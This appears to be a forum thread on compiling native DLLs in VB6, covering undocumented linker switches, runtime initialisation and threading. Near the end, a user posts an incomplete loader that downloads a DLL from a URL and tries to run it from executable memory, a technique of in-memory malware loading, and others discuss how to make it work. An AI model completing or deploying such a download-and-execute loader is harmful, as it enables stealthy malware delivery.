    Dim lpProc As Long
    ' Если в очереди уже есть вызов выходим
    If quene Then Exit Sub
    ' Если поток активен, то ставим в очередь текущий вызов и выходим
    If hThread Then quene = True: Exit Sub
    ' Получаем адрес функции
    lpProc = GetProcAddress(hLib, Name)
    If lpProc = 0 Then MsgBox "Невозможно найти функцию": Exit Sub
    ' Устанавливаем значение эффекта
    td.value = value
    ' Получаем пиксели рисунка
    GetDIBits picCanvas.hdc, pic.Handle, 0, bi.bmiHeader.biHeight, td.pix(0, 0), bi, 0
    ' Создаем поток
    hThread = CreateThread(ByVal 0&, 0, lpProc, td, 0, 0)
    ' Включаем таймер прогрессбара
    tmrUpdate.Enabled = True
End Sub

' // Изменение величины эффекта
Private Sub sldValue_Change()
    RunEffect
End Sub

' // Изменение типа эффекта
Private Sub cboEffect_Click()
    RunEffect
End Sub

' // Таймер обновления
Private Sub tmrUpdate_Timer()
    Dim status  As Long
    ' Устанавливаем процент
    prgProgress.value = td.percent
    ' Получаем код завершения потока
    GetExitCodeThread hThread, status
    ' Если поток активен, выходим
    If status = STILL_ACTIVE Then Exit Sub
    ' Поток завершился, отключаем таймер
    tmrUpdate.Enabled = False
    If status Then
        ' Вызов удачен
        ' Обновляем изображение
        SetDIBitsToDevice picImage.hdc, 0, 0, bi.bmiHeader.biWidth, bi.bmiHeader.biHeight, 0, 0, 0, bi.bmiHeader.biHeight, td.pix(0, 0), bi, 0
        picImage.Refresh
    Else
        ' При неудаче (функция эффекта возвратила 0)
        MsgBox "Функция потерпела неудачу", vbExclamation
    End If
    ' Закрываем описатель
    CloseHandle hThread
    ' Поток завершен
    hThread = 0
    ' Если в очереди был вызов, то вызываем
    If quene Then quene = False: RunEffect
End Sub

' // Скроллбары ----------------------------+
Private Sub vsbScroll_Change()          '   |
    picImage.Top = -vsbScroll.value     '   |
End Sub                                 '   |
Private Sub vsbScroll_Scroll()          '   |
    vsbScroll_Change                    '   |
End Sub                                 '   |
Private Sub hsbScroll_Change()          '   |
    picImage.Left = -hsbScroll.value    '   |
End Sub                                 '   |
Private Sub hsbScroll_Scroll()          '   |
    hsbScroll_Change                    '   |
End Sub                                 '   |
' // ---------------------------------------+

The program is quite simple, all actions are commented. Highlights I will explain further. When loading forms loaded our DLL, and handle the library stored in the variable hLib. Next image is loaded by default, located in the project folder. The procedure for loading images (LoadImage), filled the main fields of the structure "BITMAPINFO" and released under an array of pixels in the picture, in order so you can get them through the "GetDiBits". Procedure "RunEffect" starts a DLL function in a separate thread (RunProcedure). To exclude run multiple threads in the procedure "RunProcedure" worth checking if the thread is running, set the variable flag (quene) and exit without starting anything. If a thread is not running, the pixels get through "GetDiBits", and prepare the data for the thread (td), run the function in a separate thread. Also, when you create a timer status update. The procedure updates the status of the timer progress bar based on the value of the variable "td.percent", and if the flow has successfully completed its execution (not the function returns 0) update the data in picturebox through "SetDIBitsToDevice". At the end if the variable was quene True, the run effect, it will change the value of the magnitude of the effect or the effect itself while being processed.

As you can see multi-threading works fine in VB6. In addition, the DLL can be used in any programming language. In the next section, I will describe an example of DLL injection and override the window procedure that will enable the monitor various events in other applications, intercepting API functions and much more.
_______________________________________________________________________________________________
All of the above is my personal study and therefore can be any "pitfalls" of which I do not know. Any bugs can inform me, I will try to solve it. Special thanks I would like to express Vladislav Petrovsky (aka. Hacker) for the discovery of undocumented keys compiler / linker. Good luck!

GraphicsNativeDLL.zip

[Bonnie West]

In the project file add these lines for specifying additional compiler and linker keys:

[VBCompiler]
LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye

Fantastic trick!



BTW, don't know if you already came across this, but I thought you might be interested in seeing this guy's similar guide to constructing standard DLLs using VB6.

[LaVolpe]

Trick, have a question and any suggestion from you would be appreciated.

Been playing with your idea and have been successful for the most part, but unsuccessful in one specific area, so far.

First, let me tell you how I modified your modMainDLL_SingleThreadModel.bas module
1. Added a public CreateNewThread() function that takes an address for thread callbacks and optional parameter to pass to new thread creation. This method creates a new thread and passes the AddressOf pvThreadProc which is in the same DLL...
2. Added pvThreadProc(). This function calls the thread callback method passed during the CreateNewThread() call.
3. Modified the TLB to include new entries I needed

My goal was to create threads and allow them to callback to any address, whether it is in a bas, form, class, usercontrol, etc. This appears to work.

The modifications I made work great in my limited tests, both in a compiled standard exe and during IDE. The thread procedure (callback into the project's bas) even appears to be able to call APIs not defined in a tlb, handle errors, handle strings and most other things. Creating std vb objects within the new thread, with the "New" keyword in the thread procedure has no bad effects. Tried it with stdPictures and collections. However, creating a project Class object crashes when compiled but not in the IDE. Is this one of the things that we are limited to... cannot create classes within the new thread?

Interested in hearing your thoughts.

Edited. Maybe can't really be done. The COM object will always be created on the process' first thread, correct? If so, then I'd have to ask the main thread to create the object and marshal it over to the new thread I would think. And if that is true, then any code executed in the class would be on the main thread, not the worker/new thread. Is that correct?

[The trick]

Hello LaVolpe! I am very glad that you are interested in the idea. Unload your project, so I can see exactly what is causing the problem. Threading works, in this case, at the project level. Ie only to create objects in the DLL. Initialize runtime can and EXE, but it needs to further engage in reverse engineering, I do not yet engaged. For non-initialized runtime can be programmed with restrictions. By the way I have already laid out examples here and here.

[LaVolpe]

Hello LaVolpe! I am very glad that you are interested in the idea. Unload your project, so I can see exactly what is causing the problem.

I may upload it later, another day. Still want to play some more.

Can you look at my edited comments in my earlier reply? Am I understanding the threading model with COM correctly?

Regarding the threading, yes it works well. And I find your initialization routines in the DLL is a very clean solution. I like it very much. Unlike your examples, I wanted to try something different. I did not want to create a DLL for a specific task, like a graphics dll, etc. My goal is to have the DLL create threads and handle marshaling so that the DLL can be of generic use. My question is really, what known limitations exist for creating objects, when using free-threads. Marshaling is another topic.

[The trick]

Edited. Maybe can't really be done. The COM object will always be created on the process' first thread, correct? If so, then I'd have to ask the main thread to create the object and marshal it over to the new thread I would think. And if that is true, then any code executed in the class would be on the main thread, not the worker/new thread. Is that correct?

No. Objects can also be created in the new thread. Here's an example.

Edited.
Once again. Creating objects (user) only at the project level. If you spend runtime initialization in a DLL, and create objects (user) can be in the DLL. In this case it is possible to create a custom code objects within a DLL, but not in the code EXE; because it needs to initialize the runtime for EXE. As you can see I give structure "VBHeader" in "VBDllGetClassObject", but this structure is valid for the DLL. The same can be done for EXE, but has its own nuances that do not let you do that as easily.

[LaVolpe]

No. Objects can also be created in the new thread. Here's an example.

I see. Use of CoCreateInstance, CreateObject, and other creation APIs... I was attempting to the create the class with the New keyword, i.e., Set c = New ClassX

Since I do not know in advance, the CLSID for the class, I think that is the problem. Also note that the DLL I created is not registered as ActiveX and only the exported functions are being used.

[The trick]

LaVolpe, see additions in my previous post.

[LaVolpe]

LaVolpe, see additions in my previous post.

Thank you, that makes sense

[The trick]

Hello LaVolpe. Today, I researched the runtime and achieved something of progress. Working classes, forms, controls (not working private control). In my spare time I will write an article.

[The trick]

Hello LaVolpe! I did it.

[The trick]

BTW, there is an issue that i had encountered when i was creating the VST plug-in. Your dll won't be notified when dll being loaded after a thread creation. You should use a flag that determine whether the thread was initialized or not. This is simply solved through TLS.

[firehacker]

So now we know how to initialize the runtime and can begin to compile a native DLL. In the project file add these lines for specifying additional compiler and linker keys:

[VBCompiler]
LinkSwitches= /ENTRY:DllMain /EXPORT:Brightness /EXPORT:Contrast /EXPORT:Saturation /EXPORT:GaussianBlur /EXPORT:EdgeDetect /EXPORT:Sharpen /EXPORT:Emboss /EXPORT:Minimum /EXPORT:Maximum /EXPORT:FishEye

Isn't that fair to mention who actually discovered these undocumented keys?

[Bonnie West]

Isn't that fair to mention who actually discovered these undocumented keys?

... there are a few tricks you can use to create a native DLL, from the substitution of the linker and ending undocumented sections in vbp-file.

Special thanks I would like to express Vladislav Petrovsky (aka. Hacker) for the discovery of undocumented keys compiler / linker.

[firehacker]

I was using "Hybrid" topic display mode. In this mode links such as your:

Yet another way of setting the /LARGEADDRESSAWARE flag is by exploiting the undocumented [VBCompiler] option for .VBP files:

brings me to this (http://www.vbforums.com/showthread.p...id#post4835355) post which is displayed alone (i.e. without preceding posts) in hybrid mode.

So, since this post (post #3 when in linear topic display mode) that mentions [VBCompiler] doesn't contain a word about me, I mistakenly thought The trick decided not to mention me.

[xiaoyao]

Get the address of "UserDllMain" is very simple, because we know the handle of the library (it is passed as the first parameter); call "GetProcAddress" and get the address "DllGetClassObject". Next, we obtain the values through "GetMem4". I want to note that all API functions must be declared in a type library for this I compiled "DllInitialize.tlb", after compiling it does not need. To call "VBDllGetClassObject" use as "IID - IUnknown", as "CLSID - IID_NULL". Also, for initialization "COM" function must be called "CoInitialize". If we now try to collect a DLL, it will work, but keep in mind that the first call "VBDllGetClassObject" all unit variables are initialized to default values. Therefore it is necessary to call derived variables stored in local variables, and then it is already possible to maintain a modular. You also need to consider the threading model of the project: to "Apartment", as a function of "DllMain" should not be appeals to modular variables. For both models, I created two modules:
For single threaded:[CODE]' modMainDLL.bas - инициализация DLL (Single thread)
' © Кривоус Анатолий Анатольевич (The trick), 2014

Option Explicit

Private Type uuid
data1 As Long
data2 As Integer
data3 As Integer
data4(7) As Byte
End Type

Public hInstance As Long

Private lpInst_ As Long
Private lpUnk_ As Long
Private lpVBHdr_ As Long

' Точка входа
Public Function DllMain(ByVal hInstDll As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
Dim lpProc As Long
Dim lpInst As Long
Dim lpUnk As Long
Dim lpVBHdr As Long

' При создании процесса инициализируем адреса нужных переменных
If fdwReason = DLL_PROCESS_ATTACH Then
' Получаем нужные нам данные, VBHeader, и два указателя необходимых для инициализации
lpProc = GetProcAddress(hInstDll, "DllGetClassObject")
If lpProc = 0 Then Exit Function
GetMem4 ByVal lpProc + 2, lpVBHdr
GetMem4 ByVal lpProc + 7, lpUnk
GetMem4 ByVal lpProc + 12, lpInst
DllMain = InitRuntime(lpInst, lpUnk, lpVBHdr, hInstDll, fdwReason, lpvReserved)
lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDll
ElseIf fdwReason = DLL_THREAD_ATTACH Then
DllMain = InitRuntime(lpInst_, lpUnk_, lpVBHdr_, hInstDll, fdwReason, lpvReserved)
Else
vbCoUninitialize
DllMain = UserDllMain(lpInst_, lpUnk_, hInstDll, fdwReason, ByVal lpvReserved)
End If

End Function

[VBCompiler]
LinkSwitches=/DLL /ENTRYllMain /EXPORT:Sum /EXPORT:ShowForm

Public Sub ShowForm()
IntDll  'InitRuntime
Msg "ShowForm"
Dim f As Form1
Set f = New Form1
f.Show 1
Set f = Nothing
vbCoUninitialize
End Sub

when i call "ShowForm" in vc++ or (visual freebasic)
it's successful,but when exe unload ,it's error happend(crash),how to fix vb standad.
if we USE " DLL injection" to other exe(application),for best we can DLL_PROCESS_ATTACH AND unload dll more times.
but it's can't unload dll.
i want to fireevents "DLL_PROCESS_ATTACH " when load dll
load dll
unload dll
load dll
unload dll
****
I want to load and unload the DLL several times, the operation will not crash
maybe we need call api "DllCanUnloadNow","DllUnregisterServer"?
chinese:我想多次加载卸载DLL,随便操作都不会崩溃就好了

[xiaoyao]

vb STANDAND DLL,a api show form1,vb crash,maybe need use "COMDllLoader"?

' References:
' VBoostTypes6.olb (VBoost Object Types (6.0))
' ObjCreate.olb (VBoost: Object Creation and Security)
' This file is from the CD-ROM accompanying the book:
' Advanced Visual Basic 6: Power Techniques for Everyday Programs

Option Explicit

Private m_fInit As Boolean
Public IID_IClassFactory As IID
Public IID_IUnknown As IID
Private m_FDDllGetClassObject As FunctionDelegator
Private m_pCallDllGetClassObject As ICallDllGetClassObject
Private m_FDDllCanUnloadNow As FunctionDelegator
Private m_pCallDllCanUnloadNow As ICallDllCanUnloadNow

Private Sub Init()
    IID_IClassFactory = IIDFromString(strIID_IClassFactory)
    IID_IUnknown = IIDFromString(strIID_IUnknown)
    Set m_pCallDllGetClassObject = InitDelegator(m_FDDllGetClassObject)
    Set m_pCallDllCanUnloadNow = InitDelegator(m_FDDllCanUnloadNow)
    m_fInit = True
End Sub

Public Function GetDllClassObject(ByVal DllPath As String, CLSID As CLSID, hModDll As hInstance) As IClassFactory
    If Not m_fInit Then Init
    If hModDll = 0 Then
        hModDll = LoadLibraryEx(DllPath, 0, LOAD_WITH_ALTERED_SEARCH_PATH)
        If hModDll = 0 Then
            Err.Raise &H80070000 + Err.LastDllError
        End If
    End If
    m_FDDllGetClassObject.pfn = GetProcAddress(hModDll, "DllGetClassObject")
    If m_FDDllGetClassObject.pfn = 0 Then
        Err.Raise &H80070000 + Err.LastDllError
    End If
    Set GetDllClassObject = m_pCallDllGetClassObject.Call(CLSID, IID_IClassFactory)
End Function

Public Sub TestUnloadDll(hModDll As hInstance)
    If hModDll Then
        If Not m_fInit Then Init
        m_FDDllCanUnloadNow.pfn = GetProcAddress(hModDll, "DllCanUnloadNow")
        If m_FDDllCanUnloadNow.pfn = 0 Then
            Err.Raise &H80070000 + Err.LastDllError
        End If
        If m_pCallDllCanUnloadNow.Call = 0 Then
            FreeLibrary hModDll
            hModDll = 0
        End If
    End If
End Sub

[The trick]

Please attach the project which causes the error.

[xman2000]

wrong post

[android____]

La Volpe, Good afternoon, man I'm using the DLL Native it's working 100% but I came across a problem, when I run the function FindWindow(vbNullString, vbNullString) to return all the active windows but it crashes without returning any error I couldn't identify where the problem is Will you be able to help me with this task?

[VanGoghGaming]

The problem is that you shouldn't use "FindWindow" like that. Use "EnumWindows" instead. Even MSDN recommends it: "This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed."

[android____]

Tks. VanGoghGaming
Strange because I have no problem with the same function using .exe

But what you said makes total sense, I'll analyze if it works but it crashes without any error.

same problem even using EnumWindows

[The trick]

How you create your DLL? Please attach the example.

[android____]

Yes, now that another problem has arisen, I work with cybersecurity and was using the DLL to try a reflective DLL injection technique in other languages. Now I managed to use the native DLL in VB6, using the example here. I can't call the function by injecting it into memory. Could you help me with this, because I believe there is something possible to get around it. It gives an error because it can't find the function in memory. When calling GetProcAddress to get the function's address, it can't find it. If I inject the DLL, but if I load it with LoadLibrary, it works fine. However, injecting it into memory doesn't work.

[The trick]

Yes, now that another problem has arisen, I work with cybersecurity and was using the DLL to try a reflective DLL injection technique in other languages. Now I managed to use the native DLL in VB6, using the example here. I can't call the function by injecting it into memory. Could you help me with this, because I believe there is something possible to get around it. It gives an error because it can't find the function in memory. When calling GetProcAddress to get the function's address, it can't find it. If I inject the DLL, but if I load it with LoadLibrary, it works fine. However, injecting it into memory doesn't work.

Please attach the project.

[android____]

DLL

' modMainDLL.bas - ????????????? DLL (Apartment threaded)
' © ??????? ???????? ??????????? (The trick), 2014

Option Explicit

Private Type uuid
data1 As Long
data2 As Integer
data3 As Integer
data4(7) As Byte
End Type

Public hInstance As Long

Private lpInst_ As Long
Private lpUnk_ As Long
Private lpVBHdr_ As Long

' ????? ?????, ????? ?? ?????? ???? ????????? ? ??????? ??????????, ?.?. public, private, static
Public Function DllMain(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
Dim iid As uuid
Dim clsid As uuid
Dim lpInst As Long
Dim lpUnk As Long
Dim lpVBHdr As Long
Dim lpProc As Long

' ??? ???????? ???????? ??? ??????
If fdwReason = DLL_PROCESS_ATTACH Or fdwReason = DLL_THREAD_ATTACH Then
' ???????? ?????? ??? ??????, VBHeader, ? ??? ????????? ??????????? ??? ????????????
' ?????? ????? ???????? ???? ?????? (?????????, ????????? ?????????? ? ?.?.)
lpProc = GetProcAddress(hInstDLL, "DllGetClassObject")
If lpProc = 0 Then Exit Function
GetMem4 ByVal lpProc + 2, lpVBHdr
GetMem4 ByVal lpProc + 7, lpUnk
GetMem4 ByVal lpProc + 12, lpInst
' ????????????? COM
vbCoInitialize ByVal 0&
' ??? ??????? ?????????? ?? ActiveX DLL
DllMain = UserDllMain(lpInst, lpUnk, hInstDLL, fdwReason, ByVal lpvReserved)
If DllMain = 0 Then Exit Function
iid.data4(0) = &HC0: iid.data4(7) = &H46 ' IUnknown
VBDllGetClassObject lpInst, lpUnk, lpVBHdr, clsid, iid, 0 ' ????????????? ??????
' ??? ?????????? ? ????????? ?????????? ??????????, ??????????????? ??
SetPublicVariable lpInst, lpUnk, lpVBHdr, hInstDLL
Else
vbCoUninitialize
DllMain = DefMainDLL(hInstDLL, fdwReason, ByVal lpvReserved)
End If

End Function

Private Sub SetPublicVariable(ByVal lpInst As Long, ByVal lpUnk As Long, ByVal lpVBHdr As Long, ByVal hInstDLL As Long)
lpInst_ = lpInst: lpUnk_ = lpUnk: lpVBHdr_ = lpVBHdr: hInstance = hInstDLL
End Sub
Private Function DefMainDLL(ByVal hInstDLL As Long, ByVal fdwReason As Long, ByVal lpvReserved As Long) As Long
DefMainDLL = UserDllMain(lpInst_, lpUnk_, hInstDLL, fdwReason, ByVal lpvReserved)
End Function

Option Explicit


Public CronTFull As Boolean

Public Function ExecuteDLL(ByVal code As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

MsgBox "Start Function : ExecuteDLL"

End Function


[VBCompiler]
LinkSwitches= /ENTRYllMain /EXPORT:ExecuteDLL

Where ExecuteD is the function I want to call when I inject the dll

Now I will pass the code of the dll injector


Private Sub Command1_Click()
Call TestInjectDLL

End Sub


Private Declare Function URLDownloadToCacheFile Lib "urlmon" Alias "URLDownloadToCacheFileA" (ByVal lpUnkcaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal cchFileName As Long, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Public Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Public Declare Function RtlMoveMemory Lib "kernel32" (ByVal Destination As Any, ByVal Source As Any, ByVal Length As Long) As Long
Public Declare Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Public Const MEM_COMMIT = &H1000
Public Const PAGE_EXECUTE_READWRITE = &H40
Public Const INFINITE = &HFFFFFFFF

' Test function to download the DLL, inject it and call the function
Public Sub TestInjectDLL()
Dim dllData() As Byte
Dim url As String
Dim funcName As String

' URL of the DLL to be downloaded
url = "https://URLDONWLOADDLL/teste.dll"

' Name of the exported function to be called
funcName = "ExecuteEncryptedDLL"

' Download the DLL into memory
dllData = DownloadDLLToMemory(url)

' Inject and execute DLL directly from memory
InjectDLLFromMemory dllData, funcName
End Sub


' Function to download the DLL directly to memory
Private Function DownloadDLLToMemory(ByVal url As String) As Byte()
Dim buffer() As Byte
Dim tmpFileName As String * 260
Dim hResult As Long

' Download DLL to cache (without saving to disk)
hResult = URLDownloadToCacheFile(0, url, tmpFileName, Len(tmpFileName), 0, 0)

If hResult = 0 Then
Open tmpFileName For Binary As #1
ReDim buffer(LOF(1) - 1)
Get #1, , buffer
Close #1
Kill tmpFileName ' Delete downloaded file immediately after reading
End If

DownloadDLLToMemory = buffer
End Function


' Function to find the address of the function exported from the DLL
Private Function GetProcAddressFromMemory(ByVal dllPointer As Long, ByVal funcName As String) As Long
' Get the address of the exported function
GetProcAddressFromMemory = GetProcAddress(dllPointer, funcName)

If GetProcAddressFromMemory = 0 Then
MsgBox "Failed to locate function" & funcName
End If
End Function

' Function to inject and call the exported function
Public Sub InjectDLLFromMemory(ByRef dllData() As Byte, ByVal funcName As String)
Dim dllPointer As Long
Dim funcAddress As Long
Dim threadHandle As Long
Dim threadId As Long
Dim dllSize As Long
Dim dataPointer As Long

' Get DLL size
dllSize = UBound(dllData) + 1

' Get the pointer to the byte array
dataPointer = VarPtr(dllData(0))

' Allocate memory in the current process for the DLL
dllPointer = VirtualAlloc(0, dllSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE)

' Move downloaded DLL data to allocated space
Call RtlMoveMemory(ByVal dllPointer, ByVal dataPointer, dllSize)

' Find the address of the exported function
funcAddress = GetProcAddressFromMemory(dllPointer, funcName)

MsgBox "DLL loaded at address:" & Hex(dllPointer)

If funcAddress = 0 Then
MsgBox "Failed to get function address" & funcName
Exit Sub
End If

' Create a thread to execute the injected DLL function
threadHandle = CreateThread(0, 0, funcAddress, 0, 0, threadId)

' Wait for the thread to finish to avoid crashing
If threadHandle <> 0 Then
WaitForSingleObject threadHandle, INFINITE
CloseHandle threadHandle
Else
MsgBox "Failed to create thread."
End If
End Sub

[android____]

Please attach the project.

I posted

[VanGoghGaming]

Pretty sure you need to write your own GetProcAddress function as the official one works only with modules loaded via GetModuleHandle or LoadLibrary.

[android____]

Pretty sure you need to write your own GetProcAddress function as the official one works only with modules loaded via GetModuleHandle or LoadLibrary.

I think it's something in the export table, but I still don't know, I haven't been able to move forward.

[android____]

Do you have any ideas of what we can do?